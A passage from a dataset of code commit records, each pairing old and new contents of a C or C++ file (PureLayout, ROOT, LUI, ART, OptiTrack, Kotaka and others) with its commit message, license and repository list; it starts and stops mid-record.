PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/  FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n\/\/  IN THE SOFTWARE.\n\/\/\n\n#ifndef PureLayout_h\n#define PureLayout_h\n\n#import \"ALView+PureLayout.h\"\n#import \"NSArray+PureLayout.h\"\n#import \"NSLayoutConstraint+PureLayout.h\"\n\n#endif \/* PureLayout_h *\/\n","subject":"Add newline to end of file","message":"Add newline to end of file\n","lang":"C","license":"mit","repos":"k214k\/PureLayout,12207480\/PureLayout,liuyujing\/PureLayout,PureWiki\/PureLayout,Joneze\/PureLayout,pivotal-oscar\/PureLayout,fhchina\/PureLayout,FiftyThree\/PureLayout,jiamaozheng\/PureLayout,adachic\/PureLayout,ppamorim\/PureLayout,PureWiki\/PureLayout,smileyborg\/PureLayout,smileyborg\/PureLayout,eleostech\/PureLayout,lijie121210\/PureLayout,abhilashreddykallepu\/PureLayout,sandyway\/PureLayout,kompozer\/PureLayout,FiftyThree\/PureLayout,openaphid\/PureLayout,shnuzxw\/PureLayout,foxswang\/PureLayout,Chunyulo\/PureLayout,ethan-fang\/PureLayout,imjerrybao\/PureLayout,12207480\/PureLayout,imjerrybao\/PureLayout,tangwei6423471\/PureLayout,ernestopino\/PureLayout,neonaldo\/PureLayout,TongKuo\/PureLayout,yushuyi\/PureLayout,FelixMLians\/PureLayout,tangwei6423471\/PureLayout,neonaldo\/PureLayout,abhilashreddykallepu\/PureLayout,Joneze\/PureLayout,k214k\/PureLayout,bruce-wmm\/PureLayout,ernestopino\/PureLayout,lijie121210\/PureLayout,foxswang\/PureLayout,itper\/PureLayout,pfleiner\/PureLayout,eugenevinitsky\/PureLayout,kompozer\/PureLayout,fhchina\/PureLayout,bruce-wmm\/PureLayout,pivotal-oscar\/PureLayout,adachic\/PureLayout,yuanhoujun\/PureLayout,ppamorim\/PureLayout,jiamaozheng\/PureLayout,cnbin\/PureLayout,sandyway\/PureLayout,TongKuo\/PureLayout,liuyujing\/PureLayout,yushuyi\/PureLayout,cnbin\/PureLayout,openaphid\/PureLayout,Chunyulo\/PureLayout"}
{"commit":"9e8a570d53cb8c545ec0c5fe296bcd6e0f657862","old_file":"Source\/config_lui.h","new_file":"Source\/config_lui.h","old_contents":"\/\/ Filename: config_lui.h\n\/\/ Created by:  tobspr (28Aug14)\n\/\/\n\n#ifndef CONFIG_LUI_H\n#define CONFIG_LUI_H\n\n#include \"pandabase.h\"\n#include \"notifyCategoryProxy.h\"\n#include \"dconfig.h\"\n\n\/\/ It is convenient to put these here for now.\n\/\/ #if (defined(WIN32_VC) || defined(WIN64_VC)) && !defined(CPPPARSER) && !defined(LINK_ALL_STATIC)\n\/\/ #ifdef BUILDING_LUI\n\/\/   #define EXPCL_LUI __declspec(dllexport)\n\/\/   #define EXPTP_LUI\n\/\/ #else\n\/\/   #define EXPCL_LUI __declspec(dllimport)\n\/\/   #define EXPTP_LUI extern\n\/\/ #endif\n\/\/ #else\n\/\/ #endif\n#define EXPCL_LUI\n#define EXPTP_LUI \n\nConfigureDecl(config_lui, EXPCL_LUI, EXPTP_LUI);\nNotifyCategoryDecl(lui, EXPCL_LUI, EXPTP_LUI);\n\nextern EXPCL_LUI void init_lui();\n\n#endif\n","new_contents":"\/\/ Filename: config_lui.h\n\/\/ Created by:  tobspr (28Aug14)\n\/\/\n\n#ifndef CONFIG_LUI_H\n#define CONFIG_LUI_H\n\n#include \"pandabase.h\"\n#include \"notifyCategoryProxy.h\"\n#include \"dconfig.h\"\n\n#define EXPCL_LUI EXPORT_CLASS\n#define EXPTP_LUI EXPORT_TEMPL\n\nConfigureDecl(config_lui, EXPCL_LUI, EXPTP_LUI);\nNotifyCategoryDecl(lui, EXPCL_LUI, EXPTP_LUI);\n\nextern EXPCL_LUI void init_lui();\n\n#endif\n","subject":"Fix compilation on Linux with latest 1.10","message":"Fix compilation on Linux with latest 1.10","lang":"C","license":"mit","repos":"tobspr\/LUI,tobspr\/LUI,tobspr\/LUI"}
{"commit":"a2cbe2b176bc027d46b9c17046e8df49c247c7bd","old_file":"core\/base\/inc\/TVersionCheck.h","new_file":"core\/base\/inc\/TVersionCheck.h","old_contents":"\/\/ @(#)root\/base:$Id$\n\/\/ Author: Fons Rademakers   9\/5\/2007\n\n\/*************************************************************************\n * Copyright (C) 1995-2007, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_TVersionCheck\n#define ROOT_TVersionCheck\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/                                                                      \/\/\n\/\/ TVersionCheck                                                        \/\/\n\/\/                                                                      \/\/\n\/\/ Used to check if the shared library or plugin is compatible with     \/\/\n\/\/ the current version of ROOT.                                         \/\/\n\/\/                                                                      \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifdef R__CXXMODULES\n#ifndef ROOT_TObject\n#error \"Building with modules currently requires this file to be #included through TObject.h\"\n#endif\n#endif \/\/ R__CXXMODULES\n\n#include \"RVersion.h\"\n\nclass TVersionCheck {\npublic:\n   TVersionCheck(int versionCode);  \/\/ implemented in TSystem.cxx\n};\n\n\/\/ FIXME: Due to a modules bug: https:\/\/llvm.org\/bugs\/show_bug.cgi?id=31056\n\/\/ our .o files get polluted with the gVersionCheck symbol despite it was not\n\/\/ visible in this TU.\n#ifndef R__CXXMODULES\n#ifndef __CINT__\nstatic TVersionCheck gVersionCheck(ROOT_VERSION_CODE);\n#endif\n#endif\n\n#endif\n","new_contents":"\/\/ @(#)root\/base:$Id$\n\/\/ Author: Fons Rademakers   9\/5\/2007\n\n\/*************************************************************************\n * Copyright (C) 1995-2007, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_TVersionCheck\n#define ROOT_TVersionCheck\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/                                                                      \/\/\n\/\/ TVersionCheck                                                        \/\/\n\/\/                                                                      \/\/\n\/\/ Used to check if the shared library or plugin is compatible with     \/\/\n\/\/ the current version of ROOT.                                         \/\/\n\/\/                                                                      \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifdef R__CXXMODULES\n#ifndef ROOT_TObject\n#error \"Building with modules currently requires this file to be #included through TObject.h\"\n#endif\n#endif \/\/ R__CXXMODULES\n\n#include \"RVersion.h\"\n\nclass TVersionCheck {\npublic:\n   TVersionCheck(int versionCode);  \/\/ implemented in TSystem.cxx\n};\n\n\/\/ FIXME: Due to a modules bug: https:\/\/llvm.org\/bugs\/show_bug.cgi?id=31056\n\/\/ our .o files get polluted with the gVersionCheck symbol despite it was not\n\/\/ visible in this TU.\n#ifndef R__CXXMODULES\n#ifndef __CINT__\nnamespace ROOT {\nstatic TVersionCheck gVersionCheck(ROOT_VERSION_CODE);\n}\n#endif\n#endif\n\n#endif\n","subject":"Move gVersionCheck into `ROOT::` (ROOT-10426):","message":"Move gVersionCheck into `ROOT::` (ROOT-10426):\n\nThis avoids deserializing the declaration when iterating over globals,\nwhich in turn avoids jitting the global needed by static init.\n","lang":"C","license":"lgpl-2.1","repos":"olifre\/root,karies\/root,olifre\/root,root-mirror\/root,root-mirror\/root,root-mirror\/root,olifre\/root,karies\/root,olifre\/root,olifre\/root,root-mirror\/root,karies\/root,karies\/root,karies\/root,root-mirror\/root,karies\/root,karies\/root,karies\/root,root-mirror\/root,root-mirror\/root,root-mirror\/root,root-mirror\/root,olifre\/root,olifre\/root,karies\/root,root-mirror\/root,olifre\/root,olifre\/root,olifre\/root,karies\/root,root-mirror\/root,olifre\/root,karies\/root"}
{"commit":"20f3fbf3c7a108b75c5dc92f0fe1108cc3e9bab5","old_file":"Josh_Zane_Sebastian\/src\/main.h","new_file":"Josh_Zane_Sebastian\/src\/main.h","old_contents":"struct stack_node {\n    struct stack_node *cdr;\n    int data;\n    char type;\n}\n\nstruct subroutine {\n    struct stack_node *nodes;\n    int num_nodes;\n}\n","new_contents":"#define T_INT 0\n#define T_CHAR 1\n#define T_SBRTN 2\n\nstruct stack_node {\n    struct stack_node *cdr;\n    union node_data data;\n}\n\nunion node_data {\n    struct subroutine srtine;\n    int numval;\n    char type;\n}\n\nstruct subroutine {\n    struct stack_node *nodes;\n    int num_nodes;\n}\n","subject":"Add types, allow for subroutines.","message":"Add types, allow for subroutines.\n","lang":"C","license":"mit","repos":"aacoppa\/final,aacoppa\/final"}
{"commit":"a8eed7df4a04d3a002a04f517efe46a7f9b5c603","old_file":"src\/compiler_llvm\/utils_llvm.h","new_file":"src\/compiler_llvm\/utils_llvm.h","old_contents":"\/*\n * Copyright (C) 2011 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef ART_SRC_UTILS_LLVM_H_\n#define ART_SRC_UTILS_LLVM_H_\n\n#include \"stringprintf.h\"\n\n#include <llvm\/Analysis\/Verifier.h>\n\n#include <stdint.h>\n#include <string>\n\nnamespace art {\n\n#ifndef NDEBUG\n#define VERIFY_LLVM_FUNCTION(func) llvm::verifyFunction(func, llvm::PrintMessageAction)\n#else\n#define VERIFY_LLVM_FUNCTION(func)\n#endif\n\ninline static std::string ElfFuncName(uint16_t idx) {\n  return StringPrintf(\"Art%u\", static_cast<unsigned int>(idx));\n}\n\nclass CStringLessThanComparator {\n public:\n  bool operator()(const char* lhs, const char* rhs) const {\n    return (strcmp(lhs, rhs) < 0);\n  }\n};\n\n}  \/\/ namespace art\n\n#endif  \/\/ ART_SRC_UTILS_LLVM_H_\n","new_contents":"\/*\n * Copyright (C) 2011 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef ART_SRC_UTILS_LLVM_H_\n#define ART_SRC_UTILS_LLVM_H_\n\n#include \"stringprintf.h\"\n\n#include <llvm\/Analysis\/Verifier.h>\n\n#include <stdint.h>\n#include <string>\n\nnamespace art {\n\n#ifndef NDEBUG\n#define VERIFY_LLVM_FUNCTION(func) llvm::verifyFunction(func, llvm::PrintMessageAction)\n#else\n#define VERIFY_LLVM_FUNCTION(func)\n#endif\n\ninline static std::string ElfFuncName(uint32_t idx) {\n  return StringPrintf(\"Art%u\", static_cast<unsigned int>(idx));\n}\n\nclass CStringLessThanComparator {\n public:\n  bool operator()(const char* lhs, const char* rhs) const {\n    return (strcmp(lhs, rhs) < 0);\n  }\n};\n\n}  \/\/ namespace art\n\n#endif  \/\/ ART_SRC_UTILS_LLVM_H_\n","subject":"Use uint32_t for compilation unit index instead of uint16_t.","message":"Use uint32_t for compilation unit index instead of uint16_t.\n\nChange-Id: If89246e35c16a6b50942e0fe7dcc289234bbdfad\n","lang":"C","license":"apache-2.0","repos":"treadstoneproject\/artinst,treadstoneproject\/artinst,treadstoneproject\/artinst,treadstoneproject\/artinst,treadstoneproject\/artinst"}
{"commit":"fac8751ad9ac6eab7f5b86fe5fc82d1ca59a7b2a","old_file":"src\/ehl\/isr_written_variable.h","new_file":"src\/ehl\/isr_written_variable.h","old_contents":"#ifndef EMBEDDEDHELPERLIBRARY_ISR_WRITTEN_VARIABLE_H\n#define EMBEDDEDHELPERLIBRARY_ISR_WRITTEN_VARIABLE_H\n\n#include \"rvalue.h\"\n\nnamespace ehl\n{\n\ttemplate<typename T>\n\tclass isr_written_variable\n\t{\n\tprivate:\n\t\tmutable volatile bool modified;\n\t\tvolatile T value;\n\n\tpublic:\n\t\tisr_written_variable() = default;\n\n\t\tisr_written_variable(T initial_value)\n\t\t\t:value{as_rvalue(initial_value)}\n\t\t{\n\t\t}\n\n\t\tisr_written_variable& operator=(isr_written_variable const& other)\n\t\t{\n\t\t\tvalue = other.value;\n\t\t\tmodified = true;\n\t\t\treturn *this;\n\t\t}\n\n\t\tisr_written_variable<T>& operator=(T new_value)\n\t\t{\n\t\t\tvalue = as_rvalue(new_value);\n\t\t\tmodified = true;\n\t\t\treturn *this;\n\t\t}\n\n\t\toperator T() const\n\t\t{\n\t\t\tmodified = false;\n\t\t\tT v = value;\n\t\t\twhile(modified)\n\t\t\t{\n\t\t\t\tmodified = false;\n\t\t\t\tv = value;\n\t\t\t}\n\t\t\treturn v;\n\t\t}\n\t};\n}\n\n#endif \/\/EMBEDDEDHELPERLIBRARY_ISR_WRITTEN_VARIABLE_H\n","new_contents":"#ifndef EMBEDDEDHELPERLIBRARY_ISR_WRITTEN_VARIABLE_H\n#define EMBEDDEDHELPERLIBRARY_ISR_WRITTEN_VARIABLE_H\n\n#include \"rvalue.h\"\n\nnamespace ehl\n{\n\ttemplate<typename T>\n\tclass isr_written_variable\n\t{\n\tprivate:\n\t\tmutable volatile bool modified;\n\t\tvolatile T value;\n\n\tpublic:\n\t\tisr_written_variable() = default;\n\n\t\tisr_written_variable(T initial_value)\n\t\t\t:value{as_rvalue(initial_value)}\n\t\t{\n\t\t}\n\n\t\tisr_written_variable& operator=(isr_written_variable const& other)\n\t\t{\n\t\t\tvalue = other.value;\n\t\t\tmodified = true;\n\t\t\treturn *this;\n\t\t}\n\n\t\tisr_written_variable<T>& operator=(T new_value)\n\t\t{\n\t\t\tvalue = as_rvalue(new_value);\n\t\t\tmodified = true;\n\t\t\treturn *this;\n\t\t}\n\n\t\toperator T() const\n\t\t{\n\t\t\twhile(true)\n\t\t\t{\n\t\t\t\tmodified = false;\n\t\t\t\tT v = value;\n\t\t\t\tif(!modified)\n\t\t\t\t\treturn v;\n\t\t\t}\n\t\t}\n\t};\n}\n\n#endif \/\/EMBEDDEDHELPERLIBRARY_ISR_WRITTEN_VARIABLE_H\n","subject":"Refactor to clean up isr written variable","message":"Refactor to clean up isr written variable\n","lang":"C","license":"mit","repos":"hiddeninplainsight\/EmbeddedHelperLibrary,hiddeninplainsight\/EmbeddedHelperLibrary,hiddeninplainsight\/EmbeddedHelperLibrary,hiddeninplainsight\/EmbeddedHelperLibrary"}
{"commit":"03951137c1867d52a47b69466ffb9986f60bd9af","old_file":"wire.h","new_file":"wire.h","old_contents":"#ifndef OPTITRACK_WIRE_H_\n#define OPTITRACK_WIRE_H_\n\n#include <stdint.h>\n\ntypedef enum {\n    NAT_PING = 0,\n    NAT_PINGRESPONSE = 1,\n    NAT_REQUEST = 2,\n    NAT_RESPONSE = 3,\n    NAT_REQUEST_MODELDEF = 4,\n    NAT_MODELDEF = 5,\n    NAT_REQUEST_FRAMEOFDATA = 6,\n    NAT_FRAMEOFDATA = 7,\n    NAT_MESSAGESTRING = 8,\n    NAT_UNRECOGNIZED_REQUEST = 100\n} natnet_msg_id_t;\n\ntypedef struct {\n    uint16_t type;\n    uint16_t sz;\n} natnet_msg_header_t;\n\n#define MAX_NAMELENGTH 256\ntypedef struct {\n    char name[MAX_NAMELENGTH];\n    char app_version[4];\n    char natnet_version[4];\n} natnet_sender_t;\n\n#endif\/\/OPTITRACK_WIRE_H_\n","new_contents":"#ifndef OPTITRACK_WIRE_H_\n#define OPTITRACK_WIRE_H_\n\n#include <stdint.h>\n\ntypedef enum {\n    NAT_PING = 0,\n    NAT_PINGRESPONSE = 1,\n    NAT_REQUEST = 2,\n    NAT_RESPONSE = 3,\n    NAT_REQUEST_MODELDEF = 4,\n    NAT_MODELDEF = 5,\n    NAT_REQUEST_FRAMEOFDATA = 6,\n    NAT_FRAMEOFDATA = 7,\n    NAT_MESSAGESTRING = 8,\n    NAT_UNRECOGNIZED_REQUEST = 100\n} natnet_msg_id_t;\n\ntypedef struct {\n    uint16_t type;\n    uint16_t sz;\n} natnet_msg_header_t;\n\n#define MAX_NAMELENGTH 256\n#define MAX_PACKETSIZE 100000\ntypedef struct {\n    char name[MAX_NAMELENGTH];\n    unsigned char app_version[4];\n    unsigned char natnet_version[4];\n} natnet_sender_t;\n\ntypedef struct {\n    natnet_msg_header_t header;\n    union {\n        unsigned char   byteData [MAX_PACKETSIZE];\n        unsigned int    intData  [MAX_PACKETSIZE \/ sizeof(unsigned int)];\n        float           floatData[MAX_PACKETSIZE \/ sizeof(float)];\n        natnet_sender_t sender;\n    } data;\n} natnet_packet_t;\n\n#endif\/\/OPTITRACK_WIRE_H_\n","subject":"Fix uchar vs. char in natnet_sender_t; add natnet_packet_t","message":"Fix uchar vs. char in natnet_sender_t; add natnet_packet_t\n","lang":"C","license":"bsd-2-clause","repos":"cg123\/optitrack-depack,cg123\/optitrack-depack"}
{"commit":"3d49470ecd745e1b9eee54a6f4dfdc507029a66b","old_file":"Pod\/Classes\/LumberjackLogger.h","new_file":"Pod\/Classes\/LumberjackLogger.h","old_contents":"\/\/\n\/\/  LumberjackLogger.h\n\/\/  Pods\n\/\/\n\/\/  Created by jiakai lian on 29\/09\/2015.\n\/\/\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <CocoaLumberjack\/CocoaLumberjack.h>\n\n\/\/If you set the log level to DDLogLevelError, then you will only see Error statements.\n\/\/If you set the log level to DDLogLevelWarn, then you will only see Error and Warn statements.\n\/\/If you set the log level to DDLogLevelInfo, you'll see Error, Warn and Info statements.\n\/\/If you set the log level to DDLogLevelDebug, you'll see Error, Warn, Info and Debug statements.\n\/\/If you set the log level to DDLogLevelVerbose, you'll see all DDLog statements.\n\/\/If you set the log level to DDLogLevelOff, you won't see any DDLog statements.\n\n#ifdef DEBUG\nstatic const DDLogLevel ddLogLevel = DDLogLevelVerbose;\n#else\nstatic const DDLogLevel ddLogLevel = DDLogLevelWarn;\n#endif\n\n@interface LumberjackLogger : NSObject\n\n@end\n","new_contents":"\/\/\n\/\/  LumberjackLogger.h\n\/\/  Pods\n\/\/\n\/\/  Created by jiakai lian on 29\/09\/2015.\n\/\/\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <CocoaLumberjack\/CocoaLumberjack.h>\n\n\/\/If you set the log level to DDLogLevelError, then you will only see Error statements.\n\/\/If you set the log level to DDLogLevelWarn, then you will only see Error and Warn statements.\n\/\/If you set the log level to DDLogLevelInfo, you'll see Error, Warn and Info statements.\n\/\/If you set the log level to DDLogLevelDebug, you'll see Error, Warn, Info and Debug statements.\n\/\/If you set the log level to DDLogLevelVerbose, you'll see all DDLog statements.\n\/\/If you set the log level to DDLogLevelOff, you won't see any DDLog statements.\n\n#ifdef DEBUG\nstatic const DDLogLevel ddLogLevel = DDLogLevelVerbose;\n#else\nstatic const DDLogLevel ddLogLevel = DDLogLevelWarning;\n#endif\n\n@interface LumberjackLogger : NSObject\n\n@end\n","subject":"Update the release log level","message":"Update the release log level\n","lang":"C","license":"mit","repos":"jiakai-lian\/LumberjackLogger"}
{"commit":"0f10a72294d653b458fe7a72604a61e155d67904","old_file":"include\/scratch\/bits\/algorithm\/counted-copying-iterator.h","new_file":"include\/scratch\/bits\/algorithm\/counted-copying-iterator.h","old_contents":"","new_contents":"#pragma once\n\n#include <cstddef>\n\nnamespace scratch {\n\ntemplate<class T>\nstruct counted_copying_iterator {\n    using value_type = T;\n    using difference_type = ptrdiff_t;\n    using pointer = const T *;\n    using reference = const T&;\n    using iterator_category = random_access_iterator_tag;\n\n    explicit counted_copying_iterator() noexcept = default;\n    explicit counted_copying_iterator(size_t c, const T& t) noexcept : m_count(c), m_t(&t) {}\n\n    const T& operator*() const noexcept { return *m_t; }\n    const T *operator->() const noexcept { return m_t; }\n    const T& operator[](difference_type) const noexcept { return m_t; }\n\n    auto& operator+=(int i) noexcept { m_count -= i; return *this; }\n    auto& operator++() noexcept { return *this += 1; }\n    auto operator++(int) noexcept { auto old = *this; ++*this; return old; }\n\n    auto& operator-=(int i) noexcept { m_count += i; return *this; }\n    auto& operator--() noexcept { return *this -= 1; }\n    auto operator--(int) noexcept { auto old = *this; --*this; return old; }\n\n    difference_type operator-(const counted_copying_iterator& rhs) const noexcept { return rhs.m_count - m_count; }\n\n    bool operator==(const counted_copying_iterator& rhs) const noexcept { return m_count == rhs.m_count; }\n    bool operator!=(const counted_copying_iterator& rhs) const noexcept { return m_count != rhs.m_count; }\n\nprivate:\n    size_t m_count = 0;\n    const T *m_t = nullptr;\n};\n\ntemplate<class T> auto operator-(counted_copying_iterator<T> a, ptrdiff_t b) noexcept { a -= b; return a; }\ntemplate<class T> auto operator+(counted_copying_iterator<T> a, ptrdiff_t b) noexcept { a += b; return a; }\ntemplate<class T> auto operator+(ptrdiff_t b, counted_copying_iterator<T> a) noexcept { a += b; return a; }\n\n} \/\/ namespace scratch\n","subject":"Add a \"counted copying iterator\".","message":"Add a \"counted copying iterator\".\n\nMost STL containers have a method `assign(size_t, const T&)` and another\nmethod `assign(It, It)` that works with input iterators. By creating an\niterator that yields exactly `n` copies of a `const T&`, we can make it\nreally easy to implement the former in terms of the latter.\n","lang":"C","license":"mit","repos":"Quuxplusone\/from-scratch,Quuxplusone\/from-scratch,Quuxplusone\/from-scratch"}
{"commit":"a89923742aac5c342714a6acb1e6da887e945cf3","old_file":"src\/commons.h","new_file":"src\/commons.h","old_contents":"","new_contents":"#ifndef __COMMONS_H\n#define __COMMONS_H\n\n#ifdef __APPLE__\n#define ENDLINE '\\r'\n#else\n#define ENDLINE '\\n'\n#endif\n\n#endif\n","subject":"Add line endings for Mac OS.","message":"Add line endings for Mac OS.\n","lang":"C","license":"mit","repos":"tomaszwojcik\/git-ec,tomaszwojcik\/git-ec"}
{"commit":"09461ff2d6756f990eac8d26fd94b2d0bbe15e78","old_file":"core\/rgb_color.h","new_file":"core\/rgb_color.h","old_contents":"#ifndef TRN_RGB_COLOR_H\n#define TRN_RGB_COLOR_H\n\n#include <stdbool.h>\n\ntypedef struct {\n  float red;\n  float green;\n  float blue;\n} TrnColor;\n\nextern TrnColor const TRN_WHITE;\nextern TrnColor const TRN_RED;\nextern TrnColor const TRN_GREEN;\nextern TrnColor const TRN_BLUE;\nextern TrnColor const TRN_YELLOW;\nextern TrnColor const TRN_ORANGE;\nextern TrnColor const TRN_TURQUOISE;\nextern TrnColor const TRN_PURPLE;\nextern TrnColor const TRN_CYAN;\n\nbool trn_color_equal(TrnColor const left, TrnColor const right);\n\n#endif\n","new_contents":"#ifndef TRN_COLOR_H\n#define TRN_COLOR_H\n\n#include <stdbool.h>\n\ntypedef struct {\n  float red;\n  float green;\n  float blue;\n} TrnColor;\n\nextern TrnColor const TRN_WHITE;\nextern TrnColor const TRN_RED;\nextern TrnColor const TRN_GREEN;\nextern TrnColor const TRN_BLUE;\nextern TrnColor const TRN_YELLOW;\nextern TrnColor const TRN_ORANGE;\nextern TrnColor const TRN_TURQUOISE;\nextern TrnColor const TRN_PURPLE;\nextern TrnColor const TRN_CYAN;\n\nbool trn_color_equal(TrnColor const left, TrnColor const right);\n\n#endif\n","subject":"Make include guard name for color.h be compliant with our standard","message":"Make include guard name for color.h be compliant with our standard\n","lang":"C","license":"bsd-3-clause","repos":"sed-pro-inria\/tetrinria,sed-pro-inria\/tetrinria,sed-pro-inria\/tetrinria"}
{"commit":"89bbc645af1622ffc4a7f1cc7e4509f2ca663139","old_file":"adsbus\/resolve.c","new_file":"adsbus\/resolve.c","old_contents":"#include <netdb.h>\n\n#include \"asyncaddrinfo.h\"\n#include \"peer.h\"\n\n#include \"resolve.h\"\n\nvoid resolve_init() {\n\tasyncaddrinfo_init(2);\n}\n\nvoid resolve_cleanup() {\n\tasyncaddrinfo_cleanup();\n}\n\nvoid resolve(struct peer *peer, const char *node, const char *service, int flags) {\n\tstruct addrinfo hints = {\n\t\t.ai_flags = AI_V4MAPPED | AI_ADDRCONFIG | flags,\n\t\t.ai_family = AF_UNSPEC,\n\t\t.ai_socktype = SOCK_STREAM,\n\t};\n\n\tpeer->fd = asyncaddrinfo_resolve(node, service, &hints);\n\tpeer_epoll_add(peer, EPOLLIN);\n}\n\nint resolve_result(struct peer *peer, struct addrinfo **addrs) {\n\tint err = asyncaddrinfo_result(peer->fd, addrs);\n\tpeer->fd = -1;\n\treturn err;\n}\n","new_contents":"#include <netdb.h>\n\n#include \"asyncaddrinfo.h\"\n#include \"peer.h\"\n\n#include \"resolve.h\"\n\nvoid resolve_init() {\n\tasyncaddrinfo_init(2);\n}\n\nvoid resolve_cleanup() {\n\tasyncaddrinfo_cleanup();\n}\n\nvoid resolve(struct peer *peer, const char *node, const char *service, int flags) {\n\tstruct addrinfo hints = {\n\t\t.ai_flags = AI_V4MAPPED | flags,\n\t\t.ai_family = AF_UNSPEC,\n\t\t.ai_socktype = SOCK_STREAM,\n\t};\n\n\tpeer->fd = asyncaddrinfo_resolve(node, service, &hints);\n\tpeer_epoll_add(peer, EPOLLIN);\n}\n\nint resolve_result(struct peer *peer, struct addrinfo **addrs) {\n\tint err = asyncaddrinfo_result(peer->fd, addrs);\n\tpeer->fd = -1;\n\treturn err;\n}\n","subject":"Remove AI_ADDRCONFIG, since the netlink socket is missing CLOEXEC and gets inherited by children.","message":"Remove AI_ADDRCONFIG, since the netlink socket is missing CLOEXEC and gets inherited by children.\n","lang":"C","license":"apache-2.0","repos":"flamingcowtv\/adsb-tools,flamingcowtv\/adsb-tools,flamingcowtv\/adsb-tools,flamingcowtv\/adsb-tools"}
{"commit":"66e579500ec1d670e6ea638f93f3fea72aabb6bf","old_file":"pratica-07\/local.h","new_file":"pratica-07\/local.h","old_contents":"","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <math.h>\n\n#define PI 3.14\n\nfloat soluc (float, float);\nfloat radians_degrees (float);\nfloat degrees_radians (float);\n","subject":"Add cabecalho para as funcoes (modularizando)","message":"Add cabecalho para as funcoes (modularizando)\n","lang":"C","license":"mit","repos":"tonussi\/freezing-dubstep,tonussi\/freezing-dubstep,tonussi\/freezing-dubstep"}
{"commit":"1253b6a192299bdb1b8d7ff1d50d4718ae0a9957","old_file":"mudlib\/mud\/home\/Verb\/sys\/verb\/core\/wiz\/ooc\/system\/bstat.c","new_file":"mudlib\/mud\/home\/Verb\/sys\/verb\/core\/wiz\/ooc\/system\/bstat.c","old_contents":"","new_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2013  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <kotaka\/paths\/kotaka.h>\n#include <kotaka\/paths\/string.h>\n#include <kotaka\/paths\/system.h>\n#include <kotaka\/paths\/verb.h>\n#include <kotaka\/paths\/thing.h>\n\ninherit LIB_VERB;\n\nstring *query_parse_methods()\n{\n\treturn ({ \"raw\" });\n}\n\nvoid main(object actor, mapping roles)\n{\n\tobject user;\n\tfloat interval;\n\n\tuser = query_user();\n\n\tif (user->query_class() < 2) {\n\t\tsend_out(\"You do not have sufficient access rights to query the bulk sync system.\\n\");\n\t\treturn;\n\t}\n\n\tsend_out(BULKD->query_pending() + \" objects pending.\\n\");\n\treturn;\n}\n","subject":"Add command to check bulk sync stats","message":"Add command to check bulk sync 